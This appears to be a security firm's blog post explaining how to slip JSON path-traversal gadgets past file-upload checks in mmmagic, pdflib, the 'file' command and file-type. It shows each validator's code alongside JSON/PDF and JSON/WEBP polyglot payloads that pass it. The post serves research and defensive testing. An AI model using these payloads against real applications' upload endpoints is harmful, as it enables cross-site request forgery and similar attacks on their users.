Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal

Doyensec CSPT

In my previous blog post, I demonstrated how a JSON file could be used as a gadget for Client-Side Path Traversal (CSPT) to perform Cross-Site Request Forgery (CSRF). That example was straightforward because no file upload restriction was enforced. However, real-world applications often impose restrictions on file uploads to ensure security.

In this post, we’ll explore how to bypass some of these mechanisms to achieve the same goal. We’ll cover common file validation methods and how they can be subverted.

Constraint

In most scenarios, the gadget file will be parsed in the front-end using JSON.parse. It means that our file must be a valid input for JSON.parse. If we look at the V8 implementation. A valid JSON input is :

  • a string
  • a number
  • true
  • false
  • null
  • an array
  • an object

The parser skips starting WHITESPACE characters such as :

  • ’ ‘
  • ‘\t’
  • ‘\r’
  • ‘\n’

Also, control characters and double quotes inside a JSON object (key or value) will break the JSON structure and must be escaped.

Our gadget file must follow these restrictions to be parsed as JSON.

Different applications validate files using libraries or tools designed to detect the file’s MIME type, file structure or magic bytes. By creatively crafting files that meet these conditions, we can fool these validations and bypass the restrictions.

Let’s explore how various file upload mechanisms can be bypassed to maintain valid JSON payloads for CSPT while satisfying file format requirements, such as PDFs or images.

Bypassing PDF Checks To Upload a JSON File

A basic check in many upload mechanisms involves verifying the file’s MIME type. This is often done using the Content-Type header or by inspecting the file itself. However, these checks can often be bypassed by manipulating the file’s structure or headers.

Bypassing mmmagic Validation

The mmmagic library is commonly used in Node.js applications to detect file types based on the Magic database. A PDF file can be verified with the following code:

async function checkMMMagic(binaryFile) {
    var magic = new Magic(mmm.MAGIC_MIME_TYPE);

    const detectAsync = (binaryFile) => {
        return new Promise((resolve, reject) => {
            magic.detect.call(magic, binaryFile, (error, result) => {
                if (error) {
                    reject(error);
                } else {
                    resolve(result);
                }
            });
        });
    };

    const result = await detectAsync(binaryFile);

    const isValid = (result === 'application/pdf')
    if (!isValid) {
        throw new Error('mmmagic: File is not a PDF : ' + result);
    }
}

Technique:

The library checks for the %PDF magic bytes. It uses the Magic detection rules defined here. However, according to the PDF specification, this magic number doesn’t need to be at the very beginning of the file.

We can wrap a PDF header within the first 1024 bytes of a JSON object. It will be a valid JSON file considered as a PDF by the library. This allows us to fool the library into accepting the upload as a valid PDF while still allowing it to be parsed as JSON by the browser. Here’s an example:

{ "id" : "../CSPT_PAYLOAD", "%PDF": "1.4" }

As long as the %PDF header appears within the first 1024 bytes, the mmmagic library will accept this file as a PDF, but it can still be parsed as JSON on the client side.

Bypassing pdflib Validation

The pdflib library requires more than just the %PDF header. It can be used to validate the overall PDF structure.

async function checkPdfLib(binaryFile) {
    let pdfDoc = null
    try {
        pdfDoc = await PDFDocument.load(binaryFile);
    } catch (error) {
        throw new Error('pdflib: Not a valid PDF')
    }

    if (pdfDoc.getPageCount() == 0) {
        throw new Error('pdflib: PDF doesn\'t have a page');
    }
}

Technique:

To bypass this, we can create a valid PDF (for pdflib) that still conforms to the JSON structure required for CSPT. The trick is to replace %0A (line feed) characters between PDF object definitions with space %20. This allows the file to be recognized as a valid PDF for pdflib but still be interpretable as JSON. The xref table doesn’t need to be fixed because our goal is not to display the PDF, but to pass the upload validation.

Here’s an example:

{"_id":"../../../../CSPT?","bypass":"%PDF-1.3 1 0 obj <<   /Pages 2 0 R   /Type /Catalog >> endobj 2 0 obj <<   /Count 1   /Kids [     3 0 R   ]   /Type /Pages >> endobj 3 0 obj <<   /Contents 4 0 R   /MediaBox [ 0 0 200 200 ]   /Parent 2 0 R   /Resources <<     /Font << /F1 5 0 R >>   >>   /Type /Page >> endobj 4 0 obj <<   /Length 50 >> stream BT   /F1 10 Tf   20 100 Td   (CSPT) Tj ET endstream endobj 5 0 obj <<   /Type /Font   /Subtype /Type1   /BaseFont /Helvetica >> endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000062 00000 n 0000000133 00000 n 0000000277 00000 n 0000000370 00000 n trailer <<   /Size 6   /Root 1 0 R >> startxref 447 %%EOF "}

While this PDF will not render in recent PDF viewers, it will be readable by pdflib and pass the file upload checks.

Bypassing file Command Validation

In some environments, the file command or a library based on file is used to detect file types.

async function checkFileCommand(binaryFile) {
    //Write a temporary file
    const tmpobj = tmp.fileSync();
    fs.writeSync(tmpobj.fd, binaryFile);
    fs.closeSync(tmpobj.fd);

    // Exec file command
    output = execFileSync('file', ["-b", "--mime-type", tmpobj.name])

    const isValid = (output.toString() === 'application/pdf\n')
    if (!isValid) {
        throw new Error(`content - type: File is not a PDF : ${output}`);
    }
    tmpobj.removeCallback();

}

Technique:

The difference with mmmagic is that before checking the magic bytes, it tries to parse the file as JSON. If it succeed, the file is considered to be JSON and no other checks will be perform. So we can’t use the same trick as mmmagic. However, the file command has a known limit on the size of files it can process. This is an extract of the man file command.

     -P, --parameter name=value
             Set various parameter limits.

            Name         Default    Explanation
            bytes        1048576    max number of bytes to read from file
            elf_notes    256        max ELF notes processed
            elf_phnum    2048       max ELF program sections processed
            elf_shnum    32768      max ELF sections processed
            encoding     65536      max number of bytes for encoding evaluation
            indir        50         recursion limit for indirect magic
            name         60         use count limit for name/use magic
            regex        8192       length limit for regex searches

We can see a limit on the number of bytes to read. We can exploit this limit by padding the file with whitespace characters (such as spaces or tabs) until the file exceeds the parsing limit. Once the limit is reached, the file_is_json function will fail, and the file will be classified as a different file type (e.g., a PDF).

For example, we can create a file like this:

{
  "_id": "../../../../CSPT?",
  "bypass": "%PDF-1.3 1 0 obj <<   /Pages 2 0 R   /Type /Catalog >> endobj 2 0 obj <<   /Count 1   /Kids [     3 0 R   ]   /Type /Pages >> endobj 3 0 obj <<   /Contents 4 0 R   /MediaBox [ 0 0 200 200 ]   /Parent 2 0 R   /Resources <<     /Font << /F1 5 0 R >>   >>   /Type /Page >> endobj 4 0 obj <<   /Length 50 >> stream BT   /F1 10 Tf   20 100 Td   (CSPT) Tj ET endstream endobj 5 0 obj <<   /Type /Font   /Subtype /Type1   /BaseFont /Helvetica >> endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000062 00000 n 0000000133 00000 n 0000000277 00000 n 0000000370 00000 n trailer <<   /Size 6   /Root 1 0 R >> startxref 447 %%EOF <..A LOT OF SPACES..> "
}

When uploaded, the file command will be unable to parse this large JSON structure, causing it to fall back to normal file detection and to treat the file as a PDF.

Bypassing Image Upload file-type Restriction Using the WEBP Format

Image uploads often use libraries like file-type to validate file formats. The following code tries ensure that the uploaded file is an image.

const checkFileType = async (binary) => {
    const { fileTypeFromBuffer } = await fileType();

    const type = await fileTypeFromBuffer(binary);
    const result = type.mime;

    const isValid = result.startsWith('image/');
    if (!isValid) {
        throw new Error('file-type: File is not an image : ' + result);
    }
};

Technique:

Sometimes, these libraries check for specific magic numbers at a predefined offset. In this example, file-type checks if the magic bytes are present at offset 8:

https://github.com/sindresorhus/file-type/blob/v19.6.0/core.js#L358C1-L363C1

if (this.checkString('WEBP', {offset: 8})) {
  return {
    ext: 'webp',
    mime: 'image/webp',
  };
}

As we have control over the starting bytes, we can build a valid JSON file. We can craft a JSON object that places the magic bytes (WEBP) at the correct offset, allowing the file to pass validation as an image while still being a valid JSON object. Here’s an example:

{"aaa":"WEBP","_id":"../../../../CSPT?"}

This file will pass the file-type check for images, while still containing JSON data that can be used for CSPT.

Conclusion

Bypassing file-upload restrictions is not new but we wanted to share some methods we used in past years to upload JSON gadgets when file-upload restrictions are implemented. We used them in order to perform CSPT2CSRF or any other exploits (XSS, etc.) but they can be applied in other contexts too. Don’t hesitate to dig into third-party source code in order to understand how it works.

All these examples and files have been included in our CSPTPlayground. The playground doesn’t only include CSPT2CSRF but also other examples such as a JSONP gadget or Open Redirect. This was built based on feedback received by Isira Adithya (@isira_adithya) and Justin Gardner (@Rhynorater). Thank you so much!

More Information

If you would like to learn more about our other research, check out our blog, follow us on X (@doyensec) or feel free to contact us at info@doyensec.com for more information on how we can help your organization “Build with Security”.